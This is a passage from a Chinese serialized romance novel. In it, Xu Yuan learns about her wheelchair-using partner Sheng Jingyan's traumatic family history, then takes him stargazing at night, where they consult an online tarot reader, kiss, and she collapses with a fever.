盛景炎沉默几秒,对许愿说:“今天我要出门开个会,可能要很久才能回来。” 许愿点点头。 盛景炎深吸一口气,又转向盛楠,说:“走吧。” 许愿目送着盛景炎和盛楠坐上那些黑车,在车队的护送下离开。 许愿清楚,盛景炎自从车祸后其实就不喜欢抛头露面了,那些会议能让她代替他本人是不会去的,但是因为盛世那群人欺到许愿头上,而许愿又太累了,所以他才重新逼着自己参加会议。 许愿心里有点发疼。 盛景炎果然还是在意自己的腿,不想在公众场合暴露自己的缺陷,他可以出门,但是却不希望出现在会议上晚宴上,因为那些人的目光会如针刺一般……盯着他。 其实许愿可以陪着他一起去,但她猜到盛景炎会拒绝。 他自己也不希望所有事情都要许愿来解决,就好像他本人真的成了董事会那群老顽固口中的废物。 他一直看重自己的事业,但是这次这么重要的会议,仍然无法消除他的抵触情绪,说明他对腿的事远没有表现得那么潇洒。 许愿低垂着头。 她一定要尽快只好盛景炎的腿。 她不想盛景炎继续这样消沉了。 他们是爱人,纵然盛景炎在她面前表现的无所谓,但他那样骄傲的人,一定会在意的,他不表现出来只是不希望她担心罢了。 跟着盛楠回来的还有当初赵家的厨师,他见到许愿还站在原地愣了下。 许愿知道她是原来跟在盛景炎母亲身边的老人,所以问道:“能跟我讲讲过去的事吗。” 厨师知道许愿是想听跟盛景炎有关的,他愣了下提起盛景炎幼年多聪明,看到后面眼神暗沉下来, 似乎在斟酌,过了一会才慢慢地开口。 “其实夫人并不是盛衡的小三,是盛衡那时骗婚才让夫人背上骂名,而且那时的盛家算不得什么大家族,起码比起赵家来说确实算不得什么。” “但那时夫人就是喜欢盛衡,赵家只有夫人一个女儿,所以夫人带着赵家所有的财产股份嫁给盛衡,结果嫁过去后被爆出盛衡在此前结过婚,自那之后夫人就开始抑郁日渐消沉,但后来有了大少爷和二少爷后就振作起来,只是没想到……盛衡一直没有收心,早在外面有了别的花花草草还被找上门。” “夫人一直都是被赵家宠着长大的,受不得这刺激,被逼到最后抑郁而终。” 说是抑郁而终,其实是说着好听,事实是赵女士自杀了。 “夫人离开后就有人把手伸到大少爷和二少爷身上,大少爷二和少爷一起出事,大少爷却因为车祸断了腿,性子也大不如前,二少爷保住了命,但那以后也不再相信盛衡,到了年岁就躲到国外念书寻求生路。” 厨师沉浸到回忆里, 说着:“那时盛家栾城一锅粥,大少爷断了腿坏了性子,二少爷能保住自己都是费了心力的,实在守不住赵家的资产了,所以本该属于赵家的东西就成了盛家的。” 这也是为什么盛景炎执意要抢夺盛世的原因。 因为盛世本就该是属于他的。 厨师说着, 眼里有着讥诮,“夫人出事后,姓盛的不姓盛的只要有机会,人人都想从他们身上抢到一点东西。少爷在危重病房昏迷不醒,他们就匆匆给夫人举办了葬礼,迫不及待地开始瓜分赵家产业。” 这厨子一直都在赵家工作的,后来赵家出事后盛楠代表赵家一直没有辞退厨子,让人随着他去了国外,现在是盛楠回来了他也跟着回来了。 所以当年发生的那些事他清楚的很。 “可怜少爷醒来的时候,发现母亲已经下葬,还被亲戚完全排除在公司与赵家之外,我到现在都记得他那时候茫然的表情。”厨子幽幽地说着,语气平淡没有波澜。 第432章 心疼他 许愿想到了盛景炎曾经的照片。 阳光而稚嫩,还是少年的盛景炎,那样的盛景炎从疼痛中醒来,发现自己失去了一切,不知道会有怎样的心情。 “幸亏夫人生前不是完全没有预防,夫人提前在律师那里为大少爷和二少爷留了一部分遗产。”厨子抬起头,看了看周围熟悉的墙壁与挂画,说,“包括这间房子。” 盛景炎念旧,舍不得改动这间母亲留下的屋子,一直保持着这里的陈设。 “有那些钱,二少爷才能韬光养晦。” 经历过那么多事,盛景炎如果一蹶不振也是可以理解的。 可是他没有。 他没有放弃,所以才有了现在的许愿爱着的盛景炎。 此时,厨子说话时的神态稍微轻松点了,他说:“还好这世界上并不全是恶人,夫人有朋友在国外,走的是学院派路线,夫人和楠哥曾经经常和他探讨研发新技术。后来少爷试着跟国外联系,得到了引荐与帮助。” 听厨子说这些许愿心里有了底。 许愿突然问厨子:“你为什么跟我说这些?” 厨子想了想,说:“我也不知道,有些事憋在心里很多年,总想跟人倾诉一下。二少爷真的太苦了,你是二少爷承认的爱人,我觉得你该知道这些,我们这些大男人说不出来什么矫情话,但如果是你就不一样了,我们也希望你能对二少爷好一些。” “如果有许小姐的话,二少爷应该会很开心的。” 厨子冲许愿温和地笑,态度友善亲近:“我觉得你有资格了解,也应该知道这些。”毕竟是二少爷没过门的老婆嘛。 许愿抬手,垂下眼睫笑了笑:“谢谢你。” 还好这世界上并不全是恶人,当年赵家出事,盛楠没有背叛他还在国外肯帮他,现在又为了他回国,已经很好了。 她觉得如果用她和谁的关系来形容盛楠和盛景炎的话,大概就是她和温栩栩的那样好的关系了。 …… 盛景炎果然像他说的,一整天都没有回来,直到第二天晚上许愿都吃过饭了,门禁系统才通报黑车队们进入大门已经归家。 盛景炎还是像早晨那样一丝不苟,甚至头发都没有乱掉,他到了屋里,继续嘱咐盛楠一些公司的事宜。 等手下们一走,盛景炎这才露出疲倦的神色,伸手拽开领带,把自己靠在轮椅里,垂着眼睛不说话。 厨子叫赵牧,赵牧走过去问他:“少爷吃饭了吗?要不要吃点东西?” 盛景炎懒懒地摆摆手,说:“开会时有豪华自助餐,我吃过了,现在不想再吃。” 许愿猜的出来他肯定没有吃多少,但看他这么累,估计没有胃口。 赵牧劝不动他,只有问:“那会议还顺利吗?” 盛景炎捏着眉心,说:“还行吧,上面对项目策划还是很满意的,不过要实地考察可行性,应该就在这段时间。等验证通过签了合同,进度就会快起来,也会尽快拨下资金。” 赵牧露出欣慰的神色,说:“那真是太好了。” 许愿依偎在一边的门框上看着盛景炎。 盛景炎说着说着,神情更加倦怠,最后他终于撑不住,主动说:“我要去睡会。” 盛楠推着他回到卧室,许愿一声不吭跟在两个人的后面。 盛景炎的卧室直接连着浴室,浴室里同样安装着很多辅助设置,能让盛景炎方便自理。这是盛楠回来后着人准备重新装修的。 盛景炎进了浴室梳洗,盛楠就在卧室里帮他铺床,许愿从头到尾站在一边看。 盛楠见他不出声,只是瞪着眼睛观察,跟猫似的,笑着说:“许小姐,你也去休息吧。” 许愿摇摇头。 盛楠不赶他走,任由他看着,盛景炎洗漱出来,见许愿还在这里也是一愣,说:“阿愿你怎么还没睡?” 许愿反问:“你都没睡我怎么睡得着。” 盛景炎换上了睡衣,跟刚才穿西装的样子完全不同,半干的头发搭在前额上,时不时从他狭长的桃花眼上方飘过,他脸上的苍白因为热气氤氲而褪去,留下些许红润。 还是这样的盛景炎好,年轻且生动,西装革履的他简直像苍白的机械。 盛景炎躺到床铺上,他是真的很累。 “我不喜欢人多的地方。”盛景炎沾到柔软的枕头,舒服地叹了口气,也许是困意麻醉了他的神经,他终于说出了心底真实的感想,“我感觉他们全都盯着我的轮椅看,那一刻我的腿仿佛有了知觉,跟针扎一样,可是当我想抽回腿不让他们看时,发现它们还是动不了。” 听了这些话,盛楠有点难过,打起精神安慰盛景炎:“刚开始难免会好奇,等他们习惯了就不会在意了。” 盛景炎低沉地说:“是啊,以后等项目做起来,还要跟他们打交道,我也要习惯才行。” 商人哪有不跟人交流的道理,想把家业做大,势必要抛头露面,总不能一直让许愿劳累,他会心疼。 盛景炎闭上眼睛,真的是累了,一会就沉入梦乡。 盛楠替盛景炎掖好被子,转头轻声对许愿说:“许小姐,您也去休息吧。” 许愿不仅不走,反而在盛景炎的床边坐下,说:“我都是跟他睡一起的。” 盛楠看了看睡着的盛景炎,又看了看许愿,这是他们情侣之间的事情,他好像不该管,他最后安静地退出卧室,走之前关了其他灯,只留一盏暖黄的床头灯陪伴着两个人。 许愿见房门关上,才认真地观察起现在的盛景炎。 微弱的灯光下,盛景炎沉沉地睡着,平时上挑的眼睛此时紧紧闭上,没有睁开时那般线条凌厉,反而有点温柔;那张经常说出神奇话语的嘴唇,看起来有点刻薄,颜色太淡了,让人忍不住想上手搓搓让唇瓣变得鲜艳。 许愿凑过去就感觉身体发热,就干脆趴在床边,半张脸埋在被角里,只露出两只眼睛盯着盛景炎。 如果这时候盛景炎看到她这幅样子,一定会说许愿像暗中观察的猫咪。 许愿看着盛景炎,沉浸在自己的思绪中。 看到这样的盛景炎,想到他曾经经历的那些,内心生气之余还觉得心脏有点疼,像有什么东西揪紧着她的心,一抽一抽的疼。 第433章 他没那么怕冷 许愿很想把病床上的盛景炎拽起来,让他吃好的,穿得暖和,盛景炎喜欢的任何事,她都愿意去做,她不想让他受到任何伤害,她真的会难过。 盛景炎睡得很安稳,本来白天的会议进展顺利,但他心绪不是很高涨,硬撑着开完会,他以为回来会失眠,结果一下子就睡着了。 可能是因为家里有许愿等着吧。 盛景炎今天提前睡着,中途觉得口渴,慢慢地从睡梦中醒过来。 他迷迷糊糊地侧过头,就对上许愿圆溜溜的眼睛。 许愿趴在床边看着他,盛景炎先是吓了一跳,下一秒就觉得有点无奈。 “阿愿,你不睡觉在做什么。” 他一张口,声音沙哑,盛景炎不适地摸着喉咙,许愿立刻起来,说:“我给你倒水。” 许愿倒来温水,扶着盛景炎让他喝下,盛景炎这才可以顺畅地问:“现在几点了,你怎么还不睡觉。” 许愿与盛景炎靠得很近,哼了一声:“两点,你睡了四个小时,你今天回家都没有怎么跟我打招呼,也没有说喜欢我爱我,更没有晚安吻,我睡不着。” 她有点像是撒娇,她平时也不这样的,但就是今天忍不住。 盛景炎捏了捏眉心,想到自己几点回来的,一想许愿在这里睁着眼睛守了自己四个小时就叹了口气。 盛景炎责怪地看着他,说:“快睡。” “不困。”许愿反问盛景炎,“你不睡了吗?” 被他这么一折腾,盛景炎彻底醒了,最近他作息紊乱,经常熬夜,他也睡不下去了开口道:“我坐会。” 许愿扶他起身,拿枕头垫在他的后腰处,又问:“那要不要吃点东西。” 盛景炎看着许愿,说:“不用,我不饿。” “哦。”许愿乖巧地坐在床边,目光炯炯,瞅着盛景炎不放。 她可能就是觉得盛景炎可怜,明明她自己幼年时期也很可怜,但或许是因为太喜欢了,所以喜欢到想到他曾经经历的就会心里很难过,现在只想多看看他。 盛景炎:“……” 看起来许愿是不肯睡了。 盛景炎也没办法了,刚想说不然给她讲个故事,但许愿却开口:“我们干脆去看星星吧。” “什么?”盛景炎以为自己听错了,大冬天的又是大半夜看什么星星。 许愿食指朝上做了个指天的动作,说:“观星,我会预测凶吉,我帮你算个命。” 盛景炎:“?” 他怎么不知道许愿还能测这个? 盛景炎以为许愿在开玩笑, 可是她说着就开始替盛景炎找衣服,一件一件地往盛景炎身上套, 看起来真的要出门的样子。 “现在不是不准宣扬封建迷信吗?”盛景炎迷茫地由着他动作,把衣服穿好。 “不是封建迷信,就是测个塔罗牌。”许愿帮盛景炎把衣服拉好,因为靠得太近, 鼻尖都冒出汗珠, 他的眼神亮晶晶的, 说, “你不好奇自己的命格吗?” 可是测塔罗牌需要出去看星星吗,那不是在房间里就可以测试吗? 盛景炎不信这个,但是许愿都开口了他也不会拒绝,权当陪着她玩了,反正也睡不着。 许愿其实是想让盛景炎想点别的事转移他注意力,因为她担心盛景炎看到盛楠和厨子会想到以前的事情,可是她又担心外面冷,思考片刻甚至拿起旁边的被子要裹在盛景炎身上。 盛景炎有些无奈:“阿愿,我没那么怕冷。” 许愿看着他想了想,找来围巾给他的脖子围了一层又一层。 “……”盛景炎任由他动作,最后还是屈服了,说,“好吧,我们出去看看,扶我起来吧。” 等盛景炎到了轮椅上,许愿伸手替盛景炎把大衣裹紧点,接着推着轮椅,往房间外走去。 诺大的宅子里静悄悄的,没有灯光。 赵家的宅子后面原来是一大片田野空地,许愿就是要推他去那里。 郊区山上不比城市里,不管多晚都有闪烁的霓虹灯,这里的黑是彻底的黑,伸手不见五指,什么也看不见,只能听见屋外各种奇怪的响动。 许愿推着盛景炎,在盛家的走廊上走着,盛景炎出房间的时候带上了手机,此时他亮起手机,调出手电筒,给许愿照路。 白惨惨的光铺在两个人身前,只能照到前方巴掌大的地方,光的边缘被黑暗吞噬,不知道那些漆黑的地方里藏着什么。 许愿专心地看路,两个人终于到了外面。 果然很冷,晚上两点的时间差不多是温度最低的时刻,再加上是山上,冷空气更加刺骨。 盛景炎以为他们就在门口看看得了,谁知道许愿继续推着他往前走。 “还要去哪?”盛景炎问道。 “要找个好位置。”许愿这么说着,推着盛景炎往里面走着。 盛景炎已经很多年没有走过这条路,他还记得是幼年时期母亲带他来过这里的。 他此时精神紧张,他想开口喊许愿停下,他不想过去,但又觉得自己这样有点丢人,许愿好像知道他的想法一样,把手搭在他的肩上,轻轻地捏了捏。 盛景炎感受着那只手的力度,稍微冷静下来,可是内心还有抵触情绪,不愿意往那边靠近。 许愿放慢了步伐,两个人在冷凝的夜色里缓缓前行。 幸而今天风不算大,冻结的空气静静流动,道路那么长又那么短,他们很快就到了围墙的门边,许愿过去把门推开,穿过那道门,就可以看见田地了。 许愿转过头,在黑色的夜里看着盛景炎,盛景炎隐忍地扣紧自己的轮椅,过了一会,才沙哑地说:“推我进去吧。” 越过围墙的门,灰色而斑驳的外墙反射着微弱的光,这间小建筑在漆黑的背景下,看起来比平时高大。 “这里……居然这么破旧了。” 盛景炎抬头看着久违的地方,目光沉沉,隐隐有不明的情绪在眼底流转。 他真的已经很多年没有来这里,走近才发现比想象中更加破败。 不是他怯弱,而是这里封存着太多美好的回忆,如果他轻易去碰触,那些易碎的回忆就会烟消云散,也代表着他真的失去了。 失去那些无忧无虑的时光。 第434章 他家阿愿有时候也挺不靠谱的 盛景炎把目光降低,看到那片种植出蔬菜的田地。 那片菜地一直都有雇佣人种植整理,就算多年没人在这里住过,菜地还是整理得有模有样,黑夜里看得不是很清晰,白色的大棚一列一列整整齐齐,就算在漆黑的夜里也有蓬勃生机。 “里面长了好多菜。”许愿见盛景炎望着大棚出神,忍不住问了句。 她其实并没有见过这样的菜地田野,只是在国外时候见过药田花田,像这样接地气的菜田好像跟她就很不搭,可偏偏她站在这里却又像是绿意中的一抹红,更亮眼。 “这地方很久没人住了,如果连这里也荒废了,好像给人一种赵家真的被人遗忘了的错觉。” 盛景炎望着这片田地,忍不住想到幼年时期母亲带他的那段时光。 其实还是自己心有不甘,不忍让赵家的东西随着时间流逝真的被人遗忘。 “这边种出来的菜一般都会送到公寓一部分,剩下的会送到韩家和黎云笙那边。” 韩家长辈倒是喜欢这些,他们这个阶层的人不缺金银就是喜欢这点新鲜东西。 但韩城觉得他有病,黎云笙也觉得他有病,但韩家兄弟和黎云笙倒是没拒绝这些,送过去的菜保姆佣人会做成菜肴,毕竟新鲜无农药。 其实盛景炎在遇见许愿之前那股什么都不在意的模样多半是装出来的,外人觉得盛景炎这个人什么都不在乎,浪荡的像海王,但只有盛景炎知道他因为幼年的很多遭遇有了心理创伤。 有了许愿之后很多事情都变了。 天大的事情,到了许愿这里,都变得没什么大不了,所有的困惑与迷茫都会迎刃而解,仿佛生出无穷的力量,觉得自己无所不能。 盛景炎再次看着许久未来的菜田,唇角的笑意都有些止不住。 “我不是害怕这里,只是那个时候一切发生得太快了。”盛景炎轻声对许愿解释自己最开始的抵触。 他拥有的一切在他一觉醒来时全没了,那种打击与落差对于一个少年来说太沉重,所以他创造了一个盒子,盒子里还有母亲和他以及记忆中看重亲情的大哥,所以他有些固执的认为只要不打开这个盒子,那些曾经的美好都还在那里。 “人之常情吧,如果我是你,我也无法接受这一切。” 盛景炎固执地为自己的感性与温柔找个借口,许愿也是如此温柔的接受了。 “有我在,什么都不用怕。”许愿的手放在他的肩头很轻很轻的揉捏了下。 盛景炎心情有点复杂,但他清楚很多事情都要向后看的,他转回原来的话题问许愿:“你不是说要看星星的,就在这里吗?” 许愿愣了下推着盛景炎来到工坊前,背靠着一间农房的墙,面朝那片菜田,指着天空说:“这个位置视野极好。” 盛景炎仰起头,果然看见了星星。 冬日的天空没有夏天那般澄净,无法看到银河璀璨的场景,但是从这里望去,星星一颗一颗点缀在黑幕上,时不时被云雾遮挡,此起彼伏地闪耀,倒也是另一番宁静的景致。 人们常形容星辰为宝石,非常有道理,明亮的星星纯粹且珍贵,让人很想摘一颗下来。 许愿也随着盛景炎一起抬头,两个人看着天,盛景炎忍不住扭头,却正对上许愿亮晶晶的眼睛,是很美的,美到让他觉得好像星星也比不上她眼底的光亮。 他喉结微微滚动转移话题:“然后呢?你看出什么门道来了吗?” 许愿靠近盛景炎,说:“哪有这么快,我还要算一算。” 盛景炎一脸“你就忽悠吧”的神情,许愿没有辩驳,而是伸手去勾盛景炎的腿弯。 “你要干什么?”盛景炎愣了下不知道她要做什么,连忙拉住她。 许愿看他有点像是耍赖的样子:“我需要点时间,这里太冷了,你下来坐到这里。”说着许愿指指地面。 盛景炎没明白冷和坐地上的联系,似乎有些不解,但他不会拒绝许愿,由着许愿扶着然后他抽出手杖,慢慢地从轮椅上移动到地面。 还不等盛景炎做稳,整个人就已经被许愿一整个豪迈的动作被她熊抱在怀中,当然熊抱是许愿自己想的,事实上哪怕盛景炎双腿断了也是个原来站起来将近190公分的成年男性,还是衬得她娇小了。 盛景炎:“……阿愿,别闹。” 盛景炎维持着靠在许愿胸膛上的诡异姿势,整个人几乎都要石化成了石块,许愿还在那里说:“这样好暖和的。” 盛景炎似乎是有些无奈:“换个姿势。” 许愿一头雾水地放开盛景炎,盛景炎转身扯住她的手臂把许愿拉到身前来,然后用手移动自己的双腿,空出一块地方,按住许愿,说:“坐这里。” 许愿坐下,盛景炎立即贴住他的背,这下成了盛景炎搂着她了。 盛景炎环抱着许愿,真的如她所说像抱着一个大暖炉,还是个软乎乎的暖炉,许愿的头搁在盛景炎的前肩上,毛茸茸的脑袋蹭着盛景炎的脸颊,盛景炎的手臂紧了紧,圈住怀里的许愿,声音里面都带着点笑意:“这样才对。” “你怎么越来越烫?”这下真的不冷了,盛景炎用下巴蹭了蹭许愿的头顶,惊奇地问。 许愿唔了一声从自己怀里掏出两个暖手宝,热乎乎的,她塞给盛景炎一个。 盛景炎失笑。 还真是准备充足。 “让我来给你算一算。”许愿说着点开手机,不知道哪里搜的现场联网加了个塔罗牌老师。 看到全程的盛景炎:“……” 他家阿愿有时候也挺不靠谱的。 算了,随着她吧,本来也是顺着她出来转一转的。 盛景炎没有再打扰许愿,抱着他凝视天空,享受深更半夜的静谧。 今夜无风无月,天上的星辰美好,星光交织,浪漫而梦幻,微小的光芒也让人心生感动。 暖烘烘的许愿使他感觉不到寒冷,盛景炎甚至想就这么一直待到天亮。 第435章 天作之合 许愿在那里很快的打字咨询,盛景炎看她这副认真模样实在想笑。 等了不久,那边给了回应。 许愿看到眼睛都瞪大了,是真的没控制住,盛景炎扫了眼也看到了那人的回应。 【幼年波折成年遭遇情伤,残暴凶恶心思缜密阴晴不定,一生孤独,后半生因情伤受尽磨难身患恶疾。】 盛景炎看着这一段话,只是微微挑了下眉,开口道:“是大凶的命格。” “猜到了。”盛景炎抱着他,平静地说。 许愿不开心。 付了钱算的批命还是这种的,换谁都不会开心。 这个人到底懂不懂怎么做生意,她戳着手机脸色都是不好看的。 她本打算叫盛景炎出来看星星然后哄哄他,谁能想到会塔罗师不按照自己的剧本走呢。 其实她心里也清楚,越是这样的,可能越是真的,啧,封建迷信要不得,不行,肯定不准。 许愿挣扎着在盛景炎的怀里翻了个身,伸手捧住他的脸。 盛景炎不知道许愿想做什么,但是由着她捧住自己的脸,眼底都是温柔的笑意,好像刚才得到那样批命的不是他一般。 许愿把自己的脸也凑过来,睁大了眼睛瞪着他。 绯红弹嫩的脸颊就在眼前,盛景炎几乎想冲上去咬一口,就听见许愿说:“其实我也觉得你面相不好,我第一眼看到你,就看出是刻薄凄苦之相。” 盛景炎:“?你就不能说点好听的吗。” 他都被塔罗师这么说了,许愿怎么就不能说点好听的? “第一眼见你就觉得你风流了,这么风流肯定不会有多好的结局。”许愿伸出手戳戳盛景炎的脸:“不过我又不是什么权威的老师,我算不出什么命格,这个人肯定也只是想赚钱的胡说一通,下一秒肯定就要我们付钱帮你化解灾难了,那些话术我都能背过了,所以根本不可信。” 许愿松开盛景炎, 摇了下头:“对,就是骗人的。” 盛景炎再次把他抱紧,笑着逗她:“好,你说是骗人的那就是骗人的,我们不信。” 许愿严肃地点头,她这副模样被盛景炎看着觉得有点呆呆的可爱。 但是这时手机又响了下。 是那名塔罗师发来了一长串信息。 许愿不想看,想关手机,盛景炎却把她手机抢过来看这段文字。 【小姐你的爱人确实命中坎坷,但是加上你后就不一样了,小姐给我的生日日期和出生地址如果没错的话那你们确实是天作之合。】 【同样坎坷命数但正中宫宇,你们之间是互补的状态,有你他必然逢凶化吉,而你有她必然扭转本该孑然一身因情伤而孤苦的结局……】 盛景炎一眼就扫到重点,忍不住笑了笑。 “你觉得这个人是个骗子吗?” 许愿赖在他怀里蹭了蹭:“不准不准,就是骗子,都是在胡说八道。” 反正说的不好的都是骗子,等有时间了换个人再算。 盛景炎将手机递到她面前:“你再看看。” 许愿看到塔罗师新发的那一堆了,她眼睛亮了亮。 “现在还是骗子吗,准吗。” 许愿捧住手机:“这是大师!” 许愿心情很好的给塔罗师转了笔感谢费过去,准不准另说,反正现在她看到这些心情还是很好的。 许愿摇晃着自己的手机继续说:“幸亏你遇到了我。”她说着, 转回去再次靠上盛景炎。 盛景炎挑眉, 盯着她白皙的后颈:“对,幸亏我遇到了阿愿。” 他很配合。 许愿没有戴围巾, 此时坐在盛景炎的怀里, 背靠着盛景炎的胸膛, 露出一小截莹白的颈子, 在光线微弱的夜里, 跟玉一样。 想舔。 盛景炎被自己的流氓想法惊到,无声地挑了挑眉。 “看来我们要一直在一起了,大师都说了,我们是天作之合,绝配。” 许愿很开心,眉眼都弯弯的。 她是完全忘记了在这之前嘟囔对方是骗子的是谁了。 许愿再次转过来,直勾勾地看着盛景炎眼睛亮晶晶的,非常坚定地说:“所以,只要跟我在一起,一切都会好起来的。” 盛景炎又被许愿这些话勾动心弦。 盛景炎直视着许愿坦然的眼睛,带着笑意开口:“我一生招凶,万一那人算的不对,我跟你在一起情况更加恶劣了怎么办。” 许愿立刻摇头说:“不会的,你命凶,我更凶,以恶制恶,负负得正。而且就算发生什么意外,我们还要相信高科技,所以你要信我。” 她算这些就是图个心理安慰,也不见得真的信这些,比起信这些,许愿更信自己。 盛景炎嗯了一声,柔声说:“信你。” 许愿这才安下心,浅浅地打了个呵欠。 现在已经两点多了,许愿应该困了,可是盛景炎舍不得放她走。 盛景炎轻轻把许愿的头按回自己怀里,许愿很轻很轻的哼了一声,有那么点浑身发软,顺势侧躺下来,脸靠着他的肩膀。 盛景炎抱着许愿,他想真的很不妙。 为了破解他的命格,他要一直跟许愿绑在一起了。 盛景炎在心里笑了出来,那挺好的。 他不信那些,经历了那么多,他早已什么都不信,可他愿意有这么一个借口,能让救苦救难的阿愿垂怜于他,那他还挺愿意在她这里当个被她在意的“弱者”的。 可能是被气氛感染,可能是他再次回到这里情绪有波动,盛景炎忍不住又看了看菜田,出声说:“你说的可能是对的,我确实命里犯克,我的家庭并不和睦。” 许愿猛地竖起耳朵。 盛景炎其实极少说出他家里面的事,许愿知道的都是从别人那里听说的,还有就是今晚那个厨子说的挺多的。 以往许愿只能从别人的只言片语中推测盛景炎到底经历了什么,今天盛景炎居然主动提起。 他幽幽地说道:“盛衡在我母亲出事前就背叛了他,他将那些情人知己带回家,每周都会换人。” 怪不得盛景炎跟盛衡之间毫无父子情。 “盛衡不配做我的父亲。”盛景炎说着,声音凉薄,他甚至不愿意喊她一声父亲。 第436章 发烧 许愿靠着盛景炎,伸出手绕到后面,抚上盛景炎的后背,轻轻拍了拍。 怪不得盛景炎个性这么古怪,家庭的破裂也让他在感情上有缺失,说起来,这样好像衬得他们两个人更加般配了。 盛景炎感受着许愿轻柔的安慰,叹了口气。 他承认自己有点狡猾,既然他命运凶险,那他就故意说一些往事,让许愿心软。 竟然真的有效果。 说起来,还是因为许愿在意他吧。 因为父母的事情,他变得无法相信人,总是疑虑人们背后的动机,可许愿说“信我”。 盛景炎想,那就信吧。 许愿不知道盛景炎复杂的心情,只是觉得盛家的事怕是一笔烂账,且现在姜家来了A市,最近事业上动静很大,希望不要多生事端才好。 许愿想着想着就开始犯困,时间有点晚了,天气又寒冷,虽然她被盛景炎抱着,整个人暖得像小太阳,但是也不能在这里睡着。 她支撑起身体,对盛景炎说:“回去睡觉吧。” 盛景炎还是舍不得,但更舍不得让她熬夜,说:“扶我起来。” 在盛景炎怀里躺久了,浑身软绵绵的,许愿挣扎地爬起来,跪在地上去扶盛景炎。 盛景炎一直搂着她,后腰有点酸,拿过手杖,一手用手杖支撑,另一手攀住许愿的胳臂,想靠住许愿,从地上起身。 谁知许愿也不稳,她今天跟盛景炎贴一起时间太长了,四肢百骸酥软无力,开始发麻了,到现在她的腰腿还直不起来。 她被盛景炎抓住,连带着一起摇晃一下,失去平衡往地上跌去。 盛景炎没想到许愿会突然没力气,怕许愿摔倒下意识去接她。 两个人又一块跌了回去。 这次干脆直接躺倒在地上。 两人身体裹成一团,头挨着头,盛景炎被当成垫子垫在许愿的身下。 “唔,起不来。”许愿脸涨得通红耳朵也红了,她痛苦地低语。 他们靠得太近了,几乎身体的每一处都紧挨着,盛景炎甚至能感受到许愿说话的气息。 他微微抬头,就对上许愿水润的眼睛,然后是挺翘的鼻子,接着是红润的嘴唇。 从盛景炎的角度看,漫天的星辰浓重的黑夜都成了绝美的背景,背负着灿烂星辰的许愿比星光还漂亮。 顿时,盛景炎的呼吸粗重了许多。 柔软而丰润的唇瓣近在咫尺,盛景炎顿了下抬起上半身,进一步缩短了与许愿的距离,贴上了悬在上方的嘴唇。 许愿:“?” 许愿瞪着湿漉漉的眼睛,不可思议地看着下面的人,而盛景炎的目光幽深,眼睛黑得可以把人吸进去,他舔了舔自己的嘴巴。 好软,有点烫,还想再来。 盛景炎顺应内心的召唤,抬手扣住许愿的后脑,把许愿的头按下来,接着直接啃了上去。 “唔。”许愿毫无反抗的能力,被禁锢在盛景炎的怀里,任他予取予求。 盛景炎亲着亲着,还觉得不满足,干脆抱着他努力翻了个身,将许愿摁倒在地,从上至下地吻她。 怀里的人体温猛地上升,比刚才还要火热,盛景炎觉得他的阿愿一定是糖做的,不然为什么会尝起来这么甜。 许愿保持着柔顺,刚开始还瞪着盛景炎,到后面闭上眼睛。 盛景炎渐渐放慢节奏,轻轻地啄吻,柔情似水。 可是他亲着亲着察觉出一丝不对劲,他终于从许愿的嘴巴上离开,低头看着身下的人。 许愿的呼吸非常急促,面色潮红,紧闭着双眼,一动不动。 这是怪他的意思吗?盛景炎咳嗽一声,解释说:“气氛太好了没忍住。” 许愿没有反应。 “阿愿?”盛景炎疑惑地拍拍许愿的脸颊,仍旧没有动静。 盛景炎还以为许愿是在逗他。 “阿愿?”他甚至摇晃了下许愿,许愿的身体软得跟没有骨头一样,随着他的动作起伏。 可不管怎么晃,许愿从头到尾闭着眼睛。 这下盛景炎才慌了,他喊了半天,终于确定了一件事。 许愿昏了过去。 联想到方才许愿的温度就有些不正常,难道是感冒发烧了?他还以为是哪个暖手宝的原因。 …… 那一夜的经历, 多少年后刑从景想起来还记忆犹新。 他本来睡得很熟,突然被手机铃声吵醒, 他迷茫地起身查看发现是盛景炎打来的。 深更半夜的,盛景炎突然来了电话,他以为是出了什么大事,顿时把他吓了一跳,所有睡意都没了, 他担心盛景炎和许愿出了什么事,连忙把电话接起来。 结果手机里传来盛景炎阴沉的声音,让他去赵家老宅的田地后面。 因为许愿和盛景炎回了赵家老宅,所以今晚警备队的人也在这边睡的,倒是不远。 只是听到地点他觉得有点离谱。 这两个人晚上不睡觉跑到农田里做什么? 等刑从景抵达时, 看到这样一幅场景。 盛景炎和许愿双双倒在地上, 盛景炎上半身支着,半倚在许愿的身上, 他的胳臂抱着许愿, 两个人滚在一起, 姿势非常狼狈。而许愿闭目躺着, 一动不动。 刑从景:? 所以到底是发生了什么? 盛景炎见刑从景来了, 招呼他过来, 说:“阿愿好像昏过去了,你先带阿愿回房间。” 刑从景惊讶地去查看许愿, 果然许愿面有异红, 呼吸急促,身体滚烫。 “这是发烧了?”总觉得这幅场景似曾相识, 刑从景没见过许愿这副样子, 开口询问“要叫医生吗?” “我已经叫过医生了,先带她回房间。”盛景炎的声音在黑暗里听起来有点生硬,也可能是尴尬。 刑从景连忙先把他扶到轮椅上, 再从地上背起许愿。 许愿软趴趴的,完全失去意识,刑从景花了很大的力气才把她移到背上,又转过头问盛景炎:“你自己可以吗?” 盛景炎捏了捏眉心闷闷地回答:“可以。” 最后刑从景背着许愿在前面走,盛景炎推着轮椅跟在后面。 走到半路刑从景想,凌晨三点钟,这两个人不睡觉跑到黑漆漆的园子里来是要做什么? 第437章 他俩理科的脑子文科的心 刑从景不理解。 明明他睡觉之前,许愿还在盛景炎的房间好好的,怎么一觉醒来他们就在野外滚在一起,许愿还被弄得昏过去。 刑从景一时不知道自己应该往哪个方面脑补,他们这演的是午夜恐怖片还是爱情动作片? 还好刑从景一直都是淡淡的,所以脸上也没做出什么多余的表情引人遐想。 等刑从景背着许愿回了房间,他终于松了口气,问盛景炎:“到底怎么回事?” 回到屋子里在灯光下,他这才看清盛景炎的脸色有些黑。 盛景炎含糊地说:“没什么。” 总不能告诉刑从景他亲了一下许愿,许愿就因为发烧昏死过去了吧? 天知道他这次真的只是亲了一下下,甚至连舌头都没伸进去! 他的阿愿昏过去,他还没办法把人弄回来,只能联系刑从景求助。 这种事情,他是绝对不会说出来的。 盛景炎感觉非常狼狈,如果他的双腿是好的,他不需要求助任何人,他可以自己带回自己的爱人。 盛景炎心尖微微发疼。 他垂眸,给许愿量了体温,38.9°,真的发高烧了。 他更沮丧了,阿愿让他在冬日出去看星星他就真的随着她胡闹,他是男人体格更健壮些,可阿愿身体一向不好,就算养了这些天也是虚弱的。 都是因为他阿愿才会发烧的。 